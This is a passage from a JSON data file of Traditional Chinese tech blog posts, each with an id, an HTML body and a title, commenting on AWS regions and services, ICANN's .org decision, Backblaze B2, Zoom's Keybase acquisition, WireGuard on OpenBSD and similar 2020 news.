License</a> 授權：「<a href=\"https://github.com/bukka/php-jsond/blob/master/LICENSE\">LICENSE</a>」，這個因素就緩解了。\r\n\r\n而這個提案提議拔掉 <code>./configure –-disable-json</code> 關閉 JSON library 的能力，把 JSON library 變成 PHP language 的一部份：\r\n\r\n<blockquote>Make it impossible to disable the JSON extension through configuration or build options. Require that JSON be built statically instead of as a shared library.</blockquote>\r\n\r\n這個提案如果通過的話，對大多數人應該還是沒什麼影響，因為一般在用的版本都會裝 JSON library。而且現在會透過 <a href=\"https://getcomposer.org/\">Composor</a> 管理套件，很容易就會有 dependency 會用到 JSON 而需要安裝 JSON library，問題不太大...",
    "title": "PHP 8 的提案，將 JSON library 放入必須項目"
  },
  {
    "id": "9509",
    "body": "<a href=\"https://twitter.com/\">Twitter</a> 上看到的服務 <a href=\"https://webwormhole.io/\">WEBWORMHOLE</a>：\r\n\r\n<blockquote class=\"twitter-tweet\" data-dnt=\"true\"><p lang=\"en\" dir=\"ltr\">Magic Wormhole over WebRTC! ✨<br><br>Easily and securely send files directly browser to browser.<br><br>Built with Go, Wasm, CPace, and ristretto255! <a href=\"https://t.co/HY4oprnHBJ\">https://t.co/HY4oprnHBJ</a></p>&mdash; Filippo Valsorda ?? (@FiloSottile) <a href=\"https://twitter.com/FiloSottile/status/1255583253240709120?ref_src=twsrc%5Etfw\">April 29, 2020</a></blockquote>\r\n\r\n透過 <a href=\"https://en.wikipedia.org/wiki/WebRTC\">WebRTC</a> 直接網頁對網頁傳資料，就不需要再透過第三方服務了。當然這樣做的前提是雙方都要在線上。\r\n\r\n另外也可以在 cli 下面用：\r\n\r\n<blockquote class=\"twitter-tweet\" data-dnt=\"true\"><p lang=\"en\" dir=\"ltr\">And now just used the <a href=\"https://t.co/0laUUg26NH\">https://t.co/0laUUg26NH</a> CLI to send a PDF to my phone. Simply scanned the QR code and it downloaded in Safari.<br><br>Things can be easy and secure!? ??? <a href=\"https://t.co/cC86ACLp4n\">pic.twitter.com/cC86ACLp4n</a></p>&mdash; Filippo Valsorda ?? (@FiloSottile) <a href=\"https://twitter.com/FiloSottile/status/1255600023464816640?ref_src=twsrc%5Etfw\">April 29, 2020</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n之後要傳大檔案找不到空間放的時候可以用看看...",
    "title": "透過 WebRTC 直接在網頁對傳檔案的服務"
  },
  {
    "id": "9510",
    "body": "上個禮拜 <a href=\"https://aws.amazon.com/\">AWS</a> 南非區開張營業：「<a href=\"https://aws.amazon.com/blogs/aws/now-open-aws-africa-cape-town-region/\">Now Open – AWS Africa (Cape Town) Region</a>」。\r\n\r\n不過測了一下從 <a href=\"https://www.hinet.net/\">HiNet</a> 過去的 latency 居然到了 450ms，看了一下 routing，應該是先到美國，繞道歐洲後再到南非，看看後續會不會比較好？從台灣的 GCP 過去也沒好到哪邊，大約 410ms。\r\n\r\n<a href=\"http://www.apol.com.tw/\">APOL</a> 則是 320ms 左右，應該是繞的比較少...",
    "title": "AWS 南非區開張"
  },
  {
    "id": "9511",
    "body": "這是這幾天 <a href=\"https://aws.amazon.com/\">AWS</a> 新開的區域：「<a href=\"https://aws.amazon.com/blogs/aws/now-open-aws-europe-milan-region/\">Now Open – AWS Europe (Milan) Region</a>」，這樣就成為歐洲的第六個 region，與美洲的數量也一樣了 (美國四個，加拿大一個，南美一個)。\r\n\r\n不過用 <code>aws ec2 describe-regions | jq '.Regions[].RegionName' | xargs -n1 aws ec2 describe-availability-zones --region</code> 掃了一輪，只有 <code>us-east-1</code> (美東一區)、<code>us-west-2</code> (美西二區) 與 <code>ap-northeast-1</code> (日本) 有超過三個 AZ，這樣難怪 AWS 會考慮在日本多開一個大阪區了...",
    "title": "AWS 義大利區開張"
  },
  {
    "id": "9512",
    "body": "<a href=\"https://www.icann.org/\">ICANN</a> 否決了 <code>.org</code> 與 <code>.ngo</code> 網域控制權的交易：「<a href=\"https://www.icann.org/news/blog/icann-board-withholds-consent-for-a-change-of-control-of-the-public-interest-registry-pir\">ICANN Board Withholds Consent for a Change of Control of the Public Interest Registry (PIR)</a>」。\r\n\r\n<blockquote>Today, the ICANN Board made the decision to reject the proposed change of control and entity conversion request that Public Interest Registry (PIR) submitted to ICANN.</blockquote>\r\n\r\n事情主要是起於 PIR (<a href=\"https://en.wikipedia.org/wiki/Public_Interest_Registry\">Public Interest Registry</a>) 在 2019/11/13 宣佈他們的母單位 ISOC (<a href=\"https://en.wikipedia.org/wiki/Internet_Society\">Internet Society</a>) 將被 <a href=\"https://en.wikipedia.org/wiki/Ethos_Capital\">Ethos Capital</a> 併購，而這包含了 <code>.org</code> 與 <code>.ngo</code> 網域的資產，這也代表了由 PIR 控制的網域會從非營利單位移到營利單位下 (總共有七個網域，其中最重要的是 <code>.org</code>，有超過一千萬個網域在上面)，於是引發許多人的關注：\r\n\r\n<blockquote>On 13 November 2019, PIR announced that ISOC, its parent organization, had reached an agreement with Ethos Capital, under which Ethos Capital would acquire PIR and all of its assets from ISOC. Under the agreement, PIR would also be converted from a Pennsylvania not-for-profit corporation to a for-profit Pennsylvania limited liability company. ISOC created and agreed to the transaction details that are under review.</blockquote>\r\n\r\n而在隔天 2019/11/14，PIR 依照規定向 ICANN 送出「<a href=\"https://www.icann.org/en/system/files/correspondence/cimbolic-to-icann-14nov19-en.pdf\">Notice of Indirect Change of Control and Entity Conversion</a>」申請，依照規定，ICANN 需要在 2020/05/04 前批准或是否決，也就是這幾天就要做出決定。\r\n\r\n而 ICANN 昨天宣佈了否決這項提案，暫時搞定了這件事情... 接下來看 Ethos Capital 會不會有什麼反擊 (上訴或是上法院)。",
    "title": "ICANN 否決 .org 與 .ngo 的交易"
  },
  {
    "id": "9514",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 推出了可以接外部資料的服務：「<a href=\"https://aws.amazon.com/blogs/aws/new-announcing-amazon-appflow/\">New – Announcing Amazon AppFlow</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/wIaIeZD.webp\" /><img src=\"https://i.gslin.com/imgur/wIaIeZD.jpg\" alt=\"\" /></picture>\r\n\r\n以往是自己寫 script 接，現在有服務可以直接接起來。在「<a href=\"https://aws.amazon.com/appflow/integrations/\">Amazon AppFlow integrations</a>」這邊可以看到有支援哪些服務可以接，掃過去發現有看到 <a href=\"https://amplitude.com/\">Amplitude</a> 但沒看到 <a href=\"https://mixpanel.com/\">Mixpanel</a>，可能是沒橋隴？\r\n\r\n然後是價錢的部份，有兩個部份。第一個是每個 flow run 收一次錢 USD$0.001，一個帳號一個月最多只能有一千萬次，這個部份的費用應該不會太高，一個小時拉一次一個月也才 720 次，所以除非是非常頻繁的在拉資料，不然應該不是問題...\r\n\r\n另外一個是處理的資料量也要收錢，這個部份應該是比重比較大的部份，要多收 USD$0.02/GB (<code>us-east-1</code>) 或是 USD$0.09/GB (<code>ap-northeast-1</code>)，而目前最貴的點則是在南美的 USD$0.16/GB (<code>sa-east-1</code>)。\r\n\r\n不過現有套件應該也可以做到，主要還是賣給需要快速建系統出來的人。",
    "title": "Amazon AppFlow"
  },
  {
    "id": "9515",
    "body": "<a href=\"https://www.backblaze.com/\">Backblaze</a> 宣佈支援相容 <a href=\"https://aws.amazon.com/s3/\">Amazon S3</a> 的 API：「<a href=\"https://www.backblaze.com/blog/backblaze-b2-s3-compatible-api/\">Backblaze B2 Cloud Storage Now Has S3 Compatible APIs</a>」。\r\n\r\nAmazon S3 的 API 算是 object storage 這個領域的 <a href=\"https://en.wikipedia.org/wiki/De_facto_standard\">de facto standard</a> 了，支援 Amazon S3 相容層可以讓現有的工具直接套用上去。\r\n\r\n很多 client 軟體都藉著設定 API endpoint 的方式來支援 (通常預設會是 Amazon S3 的 <code>s3.amazonaws.com</code>)，這次的 endpoint 可以從 B2 的文件「<a href=\"https://www.backblaze.com/b2/docs/s3_compatible_api.html\">S3 Compatible API</a>」裡看到：\r\n\r\n<blockquote>The format for endpoints for the Backblaze S3 Compatible API:\r\n\r\n<blockquote>https://s3.&lt;region&gt;.backblazeb2.com</blockquote>\r\n\r\nThe Backblaze S3 Compatible API endpoints only accept connections over HTTPS. Non-secure connections will be rejected. The AWS SDKs and most integrations only require an Endpoint URL like the above (without the bucket name included).</blockquote>\r\n\r\n另外也支援使用 bucket name 的形式操作：\r\n\r\n<blockquote>If making the HTTP calls directly, the Backblaze S3 Compatible API supports specifying the bucket name in the hostname of the URL or in the path section of the URL. Both URLs below are valid examples of an endpoint calling a bucket:\r\n\r\n<blockquote>https://bucketname.s3.us-west-001.backblazeb2.com</blockquote>\r\n\r\n<blockquote>https://s3.us-west-001.backblazeb2.com/bucketname</blockquote></blockquote>\r\n\r\nB2 的另外一個優勢是 2018 的時候就跟 <a href=\"https://www.cloudflare.com/\">Cloudflare</a> 合作 (參考「<a href=\"https://blog.gslin.org/archives/2018/09/27/8506/backblaze-%E8%88%87-cloudflare-%E5%90%88%E4%BD%9C%EF%BC%8C%E5%85%8D%E9%99%A4%E5%82%B3%E8%BC%B8%E8%B2%BB%E7%94%A8/\">Backblaze 與 Cloudflare 合作，免除傳輸費用</a>」)，從 B2 到 Cloudflare 的流量是不收費的，再加上 Cloudflare 的流量也可以是免費的，組合起來就變成一個很便宜的方案 (只有 B2 的 storage cost)。",
    "title": "Backblaze B2 支援相容 Amazon S3 的 API"
  },
  {
    "id": "9516",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 推出了 Live 用的硬體設備 <a href=\"https://aws.amazon.com/medialive/features/link/\">AWS Elemental Link</a>，可以直接將影音訊號轉完後丟到 AWS 自家的 <a href=\"https://aws.amazon.com/medialive/\">AWS Elemental MediaLive</a> 服務上：「<a href=\"https://aws.amazon.com/blogs/aws/new-aws-elemental-link-deliver-live-video-to-the-cloud-for-events-streams/\">New – AWS Elemental Link – Deliver Live Video to the Cloud for Events &amp; Streams</a>」。\r\n\r\n機器很輕 (450g) 也不大 (32 立方英呎，大約 524 立方公分)：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/ByGPXq7.webp\" /><img src=\"https://i.gslin.com/imgur/ByGPXq7.jpg\" alt=\"\" /></picture>\r\n\r\n界面上吃 Live 領域常用的 <a href=\"https://en.wikipedia.org/wiki/Serial_digital_interface\">SDI</a> (3G-SDI) 或是 <a href=\"https://en.wikipedia.org/wiki/HDMI\">HDMI</a>，規格上只能轉 1080p60 (剛好也是 3G-SDI 的上限)，然後設備除了透過一般電力供電以外，也可以用 <a href=\"https://en.wikipedia.org/wiki/Power_over_Ethernet\">PoE</a> 供電，可以少接一條電源線：\r\n\r\n<blockquote>Link takes a single video input as a source and sends a single video output up to 1080p 60fps to AWS Elemental MediaLive. Set up requires three connections to begin streaming video to MediaLive: a power source, an IP network, and a 3G-SDI or an HDMI video source. Link also supports Power over Ethernet (PoE) so you can use as few as two cables.</blockquote>\r\n\r\n價位上是賣 USD$995，但對於有 SDI 類的設備價錢不熟。看了一下旁邊棚子 <a href=\"https://www.blackmagicdesign.com/\">Blackmagic Design</a> 的產品，好像沒看到類似可以直接送到網路服務的產品...",
    "title": "AWS Elemental Link：直接把影音訊號丟到雲端的硬體"
  },
  {
    "id": "9517",
    "body": "在「<a href=\"https://simonwillison.net/2020/May/7/html-svg/\">html-to-svg</a>」這邊看到的，專案在 <a href=\"https://github.com/\">GitHub</a> 上的「<a href=\"https://github.com/as-a-service/html-to-svg\">as-a-service/html-to-svg</a>」這邊。\r\n\r\n整個服務的程式碼其實很短 (大約 50 行？)，因為主要的業務是透過 <a href=\"https://www.google.com/chrome/\">Chrome</a> (headless) 生出 <a href=\"https://en.wikipedia.org/wiki/PDF\">PDF</a> 檔，再用 <a href=\"https://inkscape.org/\">Inkspace</a> 把 PDF 轉成 <a href=\"https://en.wikipedia.org/wiki/Scalable_Vector_Graphics\">SVG</a>：「<a href=\"https://github.com/as-a-service/html-to-svg/blob/master/htmltosvg.js\">htmltosvg.js</a>」。\r\n\r\n主要是 Inkspace 可以做 PDF 轉 SVG 這件事情算是新知...",
    "title": "HTML 轉 SVG"
  },
  {
    "id": "9519",
    "body": "<a href=\"https://aws.amazon.com/ec2/\">Amazon EC2</a> 的 Reserved Instances 宣佈降價：「<a href=\"https://aws.amazon.com/blogs/aws/ec2-price-reduction-for-ec2-instance-saving-plans-and-standard-reserved-instances/\">EC2 Price Reduction – For EC2 Instance Saving Plans and Standard Reserved Instances</a>」。\r\n\r\n文章裡先列出 M5/C5/R5 的：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/ChNckH5.webp\" /><img src=\"https://i.gslin.com/imgur/ChNckH5.jpg\" alt=\"\" /></picture>\r\n\r\n可以看到 R5 在一年是完全沒動，然後有些也是 0%，不過大多數應該是都有降：\r\n\r\n<blockquote>Below I’ve given a snapshot of some of the savings across the M5, C5, and R5 instance types, however there are also price reductions for the instance types C5n, C5d, M5a, M5n, M5ad, M5dn, R5a, R5n, R5d, R5ad, R5dn, T3, T3a, Z1d, and A1.</blockquote>\r\n\r\n以這些資料看起來是降了一些，但實際想要翻 T3a 系列機器的歷史資料時發現不好找，用搜尋引擎可以在「<a href=\"https://www.quora.com/Where-can-I-find-Amazon-EC2-price-history\">Where can I find Amazon EC2 price history?</a>」這邊看到「<a href=\"https://pricing.us-east-1.amazonaws.com/offers/v1.0/aws/AmazonEC2/current/index.csv\">https://pricing.us-east-1.amazonaws.com/offers/v1.0/aws/AmazonEC2/current/index.csv</a>」這個地方，看起來是「<a href=\"https://aws.amazon.com/blogs/aws/new-aws-price-list-api/\">New – AWS Price List API</a>」這邊的資訊，不過看起來沒有 RI 的資料，只有 <code>AmazonEC2</code> 的資料 (所以對應到的都是 $0.00)。\r\n\r\n之後看看有沒有其他地方有留這些資訊好了...",
    "title": "EC2 宣佈 Reserved Instances 降價"
  },
  {
    "id": "9520",
    "body": "前幾天的新聞，<a href=\"https://zoom.us/\">Zoom</a> 的新聞稿：「<a href=\"https://blog.zoom.us/wordpress/2020/05/07/zoom-acquires-keybase-and-announces-goal-of-developing-the-most-broadly-used-enterprise-end-to-end-encryption-offering/\">Zoom Acquires Keybase and Announces Goal of Developing the Most Broadly Used Enterprise End-to-End Encryption Offering</a>」，<a href=\"https://keybase.io/\">Keybase</a> 的新聞稿：「<a href=\"https://keybase.io/blog/keybase-joins-zoom\">Keybase joins Zoom</a>」，看到後就把本來的服務刪一刪了...\r\n\r\n這篇屬名由 Zoom 創辦人發出的公告，裡面多到讓人不知道怎麼吐槽的部份，我們就把唯一的粗體字拉出來討論好了：\r\n\r\n<blockquote>We are excited to integrate Keybase’s team into the Zoom family to help us build end-to-end encryption that can reach current Zoom scalability. </blockquote>\r\n\r\n先不講先前被戳破根本就不是 end-to-end encryption 的問題，影音上面因為 transcoding 的問題，如果要在 video stream 上做 end-to-end encryption 的話分成兩種方式可以做：\r\n\r\na) 一種是發送端直接產生出多個不同 bitrate 的 video stream，這種方式其他家都已經很熟悉了，缺點也很明顯，就是吃各種資源，包括發送端的壓縮能力與頻寬。\r\n\r\nb) 另外一種方式是產生出可以疊加的 video stream，有點像是 progressive image 的方式，第一個 stream1 的畫質最低，第二個 stream2 則是「補強」第一個 stream1，這樣子可以降低資源的需求。\r\n\r\n另外有想到 <a href=\"https://en.wikipedia.org/wiki/Homomorphic_encryption\">Homomorphic encryption</a> 的方式，直接可以疊加加密後的 stream1 + stream2，不過 bitrate 應該不會降低，就算真的設計的出來應該也沒用...\r\n\r\n如果是 a) 的方式，業界對於 key 的交換都已經解的還不錯了，但這個方式沒什麼競爭性 (因為其他家也都已經做完了)。\r\n\r\n如果是 b) 的方式，很明顯該找的是 codec 的公司 (要做出可以疊加的 codec)，而不是搞密碼學的公司。\r\n\r\n回到原來的問題，現有的團隊有 2500 人，裡面的技術團隊沒辦法搞定 end-to-end encryption，ok 沒關係，那現在的 CTO Brendan Ittelson 應該可以建一個團隊吧？所以我翻了一下他的 <a href=\"https://www.linkedin.com/\">LinkedIn</a> 看了一下他的經歷，對不起我錯了，我瞬間不知道怎麼寫下去了，我豆頁痛...\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/tHgYiJx.webp\" /><img src=\"https://i.gslin.com/imgur/tHgYiJx.jpg\" alt=\"\" /></picture>",
    "title": "棄用 Keybase (Zoom 買下 Keybase 的新聞)"
  },
  {
    "id": "9522",
    "body": "看到「<a href=\"https://vole.wtf/scunthorpe-sans/\">Scunthorpe Sans</a>」這個字型，利用字型系統提供的 Ligature 自動屏蔽掉 F**K 之類的字，實用性不高，算是展示 Ligature 可以這樣玩：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/PNbwEme.webp\" /><img src=\"https://i.gslin.com/imgur/PNbwEme.jpg\" alt=\"\" /></picture>",
    "title": "自動屏蔽關鍵字的字型..."
  },
  {
    "id": "9523",
    "body": "看到 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上的「<a href=\"https://news.ycombinator.com/item?id=23089999\">Ask HN: Is your company sticking to on-premise servers? Why?</a>」這邊在討論為什麼還是有公司使用傳統的實體機房。\r\n\r\n用雲的價值在於彈性，因為雲上加機器的時間成本比傳統實體機房低很多：加的量小的時候，主要的成本就是簽核需要的時間 (即使是電子簽) 與 setup 的時間 (如果沒有自動化)，量大的時候可能會需要另外採購。\r\n\r\n另外很多雲端服務的廠商除了 IaaS 以外也提供了很多 SaaS 的服務，這點對於建制的成本又降低了不少。\r\n\r\n相反的，如果你的需求已經很固定了 (變動不大)，而且又已經有一定的規模了，用傳統實體機房自己搭建會便宜很多，即使包含人力維護成本也都還是低很多。\r\n\r\n另外討論裡也有提到雲端的頻寬費用，這一直都是雲端的痛點：目前雲上面的頻寬都超貴，所以用規模大一點的雲端公司會透過架構上的設計，把大的流量利用 HTTP/HTTPS 的 CDN 省下來。像是使用 <a href=\"https://aws.amazon.com/\">AWS</a> 的 <a href=\"https://www.netflix.com/\">Netflix</a> 設計了 <a href=\"https://openconnect.netflix.com/\">Open Connect</a>，藉以降低頻寬成本。\r\n\r\n不過說到頻寬，AWS 的 <a href=\"https://aws.amazon.com/lightsail/\">Amazon Lightsail</a> 就是個有趣的東西了，一樣是在 AWS 的架構內，但帳務上面把整包費用包的跟外面的 VPS 一樣...",
    "title": "Hacker News 上對實體機房的討論 (雲與地的討論)"
  },
  {
    "id": "9524",
    "body": "查了一下資料才發現，印度應該是僅次於北美的單一國家 <a href=\"https://aws.amazon.com/cloudfront/\">CloudFront</a> 最多點的地區：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2020/05/cloudfront-kolkata-hamburg/\">Amazon CloudFront announces its first Edge locations in Kolkata and Hamburg</a>」。\r\n\r\n以「<a href=\"https://aws.amazon.com/cloudfront/features/\">Amazon CloudFront Key Features</a>」這頁列出的資料可以看到印度有第六個區域了：\r\n\r\n<blockquote>Edge locations: <strong>Bangalore, India</strong> (3); <strong>Chennai, India</strong> (2); Hong Kong, China (3); <strong>Hyderabad, India</strong> (4); <strong>Kolkata, India</strong>; Kuala Lumpur, Malaysia (2); <strong>Mumbai, India</strong> (3); Manila, Philippines; <strong>New Delhi, India</strong> (4); Osaka, Japan; Seoul, South Korea (4); Singapore (4); Taipei, Taiwan(3); Tokyo, Japan (16)</blockquote>\r\n\r\n不過如果以節點總數來說的話，印度與日本都是 17 個 (德國是 16 個)，而且光東京這區就 16 個，這又更感覺得出網路重鎮的味道...",
    "title": "CloudFront 在印度的第六個區域：加爾各答"
  },
  {
    "id": "9526",
    "body": "看到「<a href=\"https://blog.archive.org/2020/05/11/thank-you-for-helping-us-increase-our-bandwidth/\">Thank you for helping us increase our bandwidth</a>」這邊在說明 <a href=\"https://www.archive.org/\">Internet Archive</a> 的流量資訊：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/l6QbeiZ.webp\" /><img src=\"https://i.gslin.com/imgur/l6QbeiZ.jpg\" alt=\"\" /></picture>\r\n\r\n看起來平常就是滿載的情況，然後加上去的流量馬上就被吃掉了... 這些資料看起來是放在 <a href=\"https://monitor.archive.org/cacti/graph_view.php\">Cacti</a> 這邊，不過只有 error rate 有開放讓大家翻，流量的部份看起來要登入才能看。",
    "title": "Internet Archive 的頻寬..."
  },
  {
    "id": "9527",
    "body": "先前提到 <a href=\"https://aws.amazon.com/\">AWS</a> 要在 <a href=\"https://aws.amazon.com/ec2/\">EC2</a> 上推出新的 <a href=\"https://en.wikipedia.org/wiki/ARM_architecture\">ARM</a> 架構主機 (參考「<a href=\"https://blog.gslin.org/archives/2019/12/04/9304/amazon-ec2-%e6%8e%a8%e5%87%ba%e4%ba%86%e6%96%b0%e4%b8%80%e4%bb%a3%e7%9a%84-arm-%e7%b3%bb%e7%b5%b1/\">Amazon EC2 推出了新一代的 ARM 系統</a>」這篇)，最近正式推出了：「<a href=\"https://aws.amazon.com/blogs/aws/new-m6g-ec2-instances-powered-by-arm-based-aws-graviton2/\">New – EC2 M6g Instances, powered by AWS Graviton2</a>」。\r\n\r\n當時的定價還沒出來，現在正式開賣後可以拉出來看了。\r\n\r\n拿 <code>us-east-1</code> 上 2 vCPU + 8GB RAM 這個級距的價錢出來，<code>m5.large</code> 是 USD$0.096/hour，<code>m6g.large</code> 是 USD$0.077/hour，低大約 20%，不過這是兩個不同的平台，只是抓一下感覺知道差距。\r\n\r\n不過這個價差其實蠻有吸引力的，對於有支援 ARM 的應用程式，或是手上有 source code 的大型應用，可以測試看看效能有差多少，或是先等一下，這陣子應該就會有人初步測一些數字出來可以參考。\r\n\r\n另外 AWS 有打算要出 <code>C6g</code> 與 <code>R6g</code> 的計畫，算是在雲上面補齊 ARM 的戰線：\r\n\r\n<blockquote>We are not going to stop at general purposes M6g instances, compute optimized C6g instances and memory optimized R6g instances are coming soon, stay tuned.</blockquote>\r\n\r\n目前支援的區域不算多，不過幾個老區域都先上了：\r\n\r\n<blockquote>Now it’s your turn to give it a try in one the following AWS Regions : US East (N. Virginia), US East (Ohio), US West (Oregon), Europe (Ireland), Europe (Frankfurt), and Asia Pacific (Tokyo).</blockquote>",
    "title": "Amazon EC2 的 M6g 系列正式推出了"
  },
  {
    "id": "9528",
    "body": "看起來是個嘗試，<a href=\"https://www.percona.com/\">Percona</a> 的人試著修改 <a href=\"https://www.percona.com/doc/percona-toolkit/LATEST/pt-online-schema-change.html\">pt-online-schema-change</a>，讓他可以在 <code>INSERT</code> 時 multi-threading，然後看效果：「<a href=\"https://www.percona.com/blog/2020/05/13/multithreaded-alter-table-with-pt-online-schema-change-and-myloader/\">Multithreaded ALTER TABLE with pt-online-schema-change and myloader</a>」。\r\n\r\n可以看出來 thread 夠多的情況下其實都變快不少 (上圖主要是看絕對數字，下圖是看相對比率)：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/c34lMcT.webp\" /><img src=\"https://i.gslin.com/imgur/c34lMcT.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/zZaeMpz.webp\" /><img src=\"https://i.gslin.com/imgur/zZaeMpz.jpg\" alt=\"\" /></picture>\r\n\r\n如果沒有意外的話應該會有更多的測試，而這些測試沒問題的話，之後的官方版本裡面應該就會有這個功能。",
    "title": "Multithreading 版本 pt-online-schema-change"
  },
  {
    "id": "9529",
    "body": "看到「<a href=\"https://microsoft.github.io/react-native-windows/\">React Native for Windows + Mac</a>」這個，微軟推出了自己的 porting，以桌面環境的 Windows 與 macOS 為主，另外因為 Windows 10 的關係，也順便把平板與 Xbox 拉進來：\r\n\r\n<blockquote>React Native for Windows + Mac brings React Native support for the Windows 10 SDK as well as the MacOS 10.12 SDK. With this, you can use Javascript to build native Windows apps for all devices supported by Windows 10 including PCs, tablets, 2-in-1s, Xbox, Mixed reality devices, etc., as well as the MacOS desktop and laptop ecosystems.</blockquote>\r\n\r\n<a href=\"https://en.wikipedia.org/wiki/MacOS\">macOS</a> 的 10.12 是 <a href=\"https://en.wikipedia.org/wiki/MacOS_Sierra\">macOS Sierra</a>，已經是 unsupported 的版本 (到 2019 年九月)，所以目前蘋果官方有支援的作業系統都有在這包的範圍內。\r\n\r\nWindows 10 SDK 的部份就不知道現在還有在支援的 Windows 8.1 能不能裝了。(看「<a href=\"https://developer.microsoft.com/en-us/windows/downloads/windows-10-sdk/\">Windows 10 SDK</a>」這頁有列出 Win32 程式可以，但就不知道這次這包是不是用 UWP 技術...)\r\n\r\n本來 javascript 開發 desktop 程式比較常見的是 <a href=\"https://github.com/\">GitHub</a> 放出來的 <a href=\"https://www.electronjs.org/\">Electron</a>，現在等於是微軟多提供了一個選項讓...",
    "title": "Microsoft 推出的 React Native for Windows + Mac"
  },
  {
    "id": "9530",
    "body": "看到「<a href=\"https://saagarjha.com/blog/2020/05/10/why-we-at-famous-company-switched-to-hyped-technology/\">Why we at $FAMOUS_COMPANY Switched to $HYPED_TECHNOLOGY</a>」這篇，建議一定要搭著看 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上的各種評論 (或者叫做「導讀」)：「<a href=\"https://news.ycombinator.com/item?id=23144380\">We at $Famous_company switched to $Hyped_technology (saagarjha.com)</a>」。\r\n\r\n在「導讀」裡面的馬上就看到三篇文章，然後也有一些討論：\r\n\r\n<ul>\r\n\t<li><a href=\"https://www.instagram.com/\">Instagram</a> 的 <a href=\"https://instagram-engineering.com/dismissing-python-garbage-collection-at-instagram-4dca40b29172\">Dismissing Python Garbage Collection at Instagram</a>。</li>\r\n\t<li><a href=\"https://www.twitch.tv/\">Twitch</a> 的 <a href=\"https://blog.twitch.tv/en/2019/04/10/go-memory-ballast-how-i-learnt-to-stop-worrying-and-love-the-heap-26c2462549a2/\">Go memory ballast: How I learnt to stop worrying and love the heap</a>。</li>\r\n\t<li><a href=\"https://discord.com/\">Discord</a> 的 <a href=\"https://blog.discord.com/why-discord-is-switching-from-go-to-rust-a190bbca2b1f\">Why Discord is switching from Go to Rust</a>。</li>\r\n</ul>\r\n\r\n另外討論裡面還有用到大量的 <code>$VARIABLE</code> 在嗆來嗆去，還被拿來反諷 Hacker News 上的各種 comments XD\r\n\r\n<strong>原作者提到的這些技術文章大多都是 workaround</strong>，代表只有在很特定的情況下帶來的優點會大於缺點。\r\n\r\n這些大公司會選擇某種 workaround 通常跟他公司內的政治因素有關，但在這些文章裡面都不會描述出來 (無論是作者不知道，或者知道但不能寫)。在沒有說明「為什麼會這樣 workaround」的前提下，其實文章看過、知道技術上有這種解法就好。\r\n\r\n而且在實務上，除非你處理的資料量有一定的規模 (通常是在這些大公司內)，不然一般人手上的資料量，以現在硬體的發展情勢，「暴力」其實可以解決很多問題。\r\n\r\n整個產業透過雲端改變了不少以前的思維：這是個可以在 <a href=\"https://aws.amazon.com/\">AWS</a> 上租 <code>x1e.32xlarge</code> 把資料全部放到記憶體裡面 random access (128 vCPU + 3904 GB RAM)，就算是寫爛的 [latex]O(n^2)[/latex] 演算法，先開個幾千台 <a href=\"https://aws.amazon.com/ec2/\">EC2</a> instance 撐著，再花時間慢慢解。\r\n\r\n這跟以前自己弄硬體的思維跟雲端的思維玩法不一樣，「等產品衝起來再說」(或者說「活下去再還技術債」) 的可行性變得更高。",
    "title": "嘲笑某些大公司的技術文章..."
  },
  {
    "id": "9531",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 首頁上翻到的，先前提到的「<a href=\"https://blog.gslin.org/archives/2020/04/30/9506/%E6%A8%A1%E6%93%AC-windows-98-%E9%A2%A8%E6%A0%BC%E7%9A%84-css/\">模擬 Windows 98 風格的 CSS</a>」是對 <a href=\"https://en.wikipedia.org/wiki/Windows_98\">Windows 98</a> 風格設計出的 CSS，接下來就有人也生出經典的 <a href=\"https://en.wikipedia.org/wiki/Windows_XP\">Windows XP</a> 版本出來：「<a href=\"https://botoxparty.github.io/XP.css/\">XP.css</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/7EhDmAt.webp\" /><img src=\"https://i.gslin.com/imgur/7EhDmAt.jpg\" alt=\"\" /></picture>\r\n\r\n<blockquote>XP.css started as a fork of 98.css (a fun project started by Jordan Scales) and is now trying to boilerplate the GUI to be able to theme it easily.</blockquote>",
    "title": "模擬 Windows XP 風格的 CSS"
  },
  {
    "id": "9532",
    "body": "在「<a href=\"https://undeadly.org/cgi?action=article;sid=20200512080047\">WireGuard patchset for OpenBSD</a>」這邊看到有人試著把 <a href=\"https://www.wireguard.com/\">WireGuard</a> 放入 <a href=\"https://www.openbsd.org/\">OpenBSD</a> 的消息。\r\n\r\n整包 patchset 包括了 kernel 與 userland 的實做，可以在 mailing list 上「<a href=\"https://marc.info/?l=openbsd-tech&amp;m=158926407905492&amp;w=2\">WireGuard patchset for OpenBSD</a>」這邊可以看到，整串討論可以在「<a href=\"https://marc.info/?t=158926363200001&amp;r=1&amp;w=2\">'WireGuard patchset for OpenBSD' thread - MARC</a>」這邊看到，目前看起來還在 code review 的階段，有看到討論提到應該用 OpenBSD 內已經實做的 Chacha20-Poly1305，所以可能還會需要一些時間...\r\n\r\n看起來慢慢的在滲進每個作業系統中，蠻有希望在幾年後成為業界標準...",
    "title": "WireGuard 的 OpenBSD porting"
  },
  {
    "id": "9533",
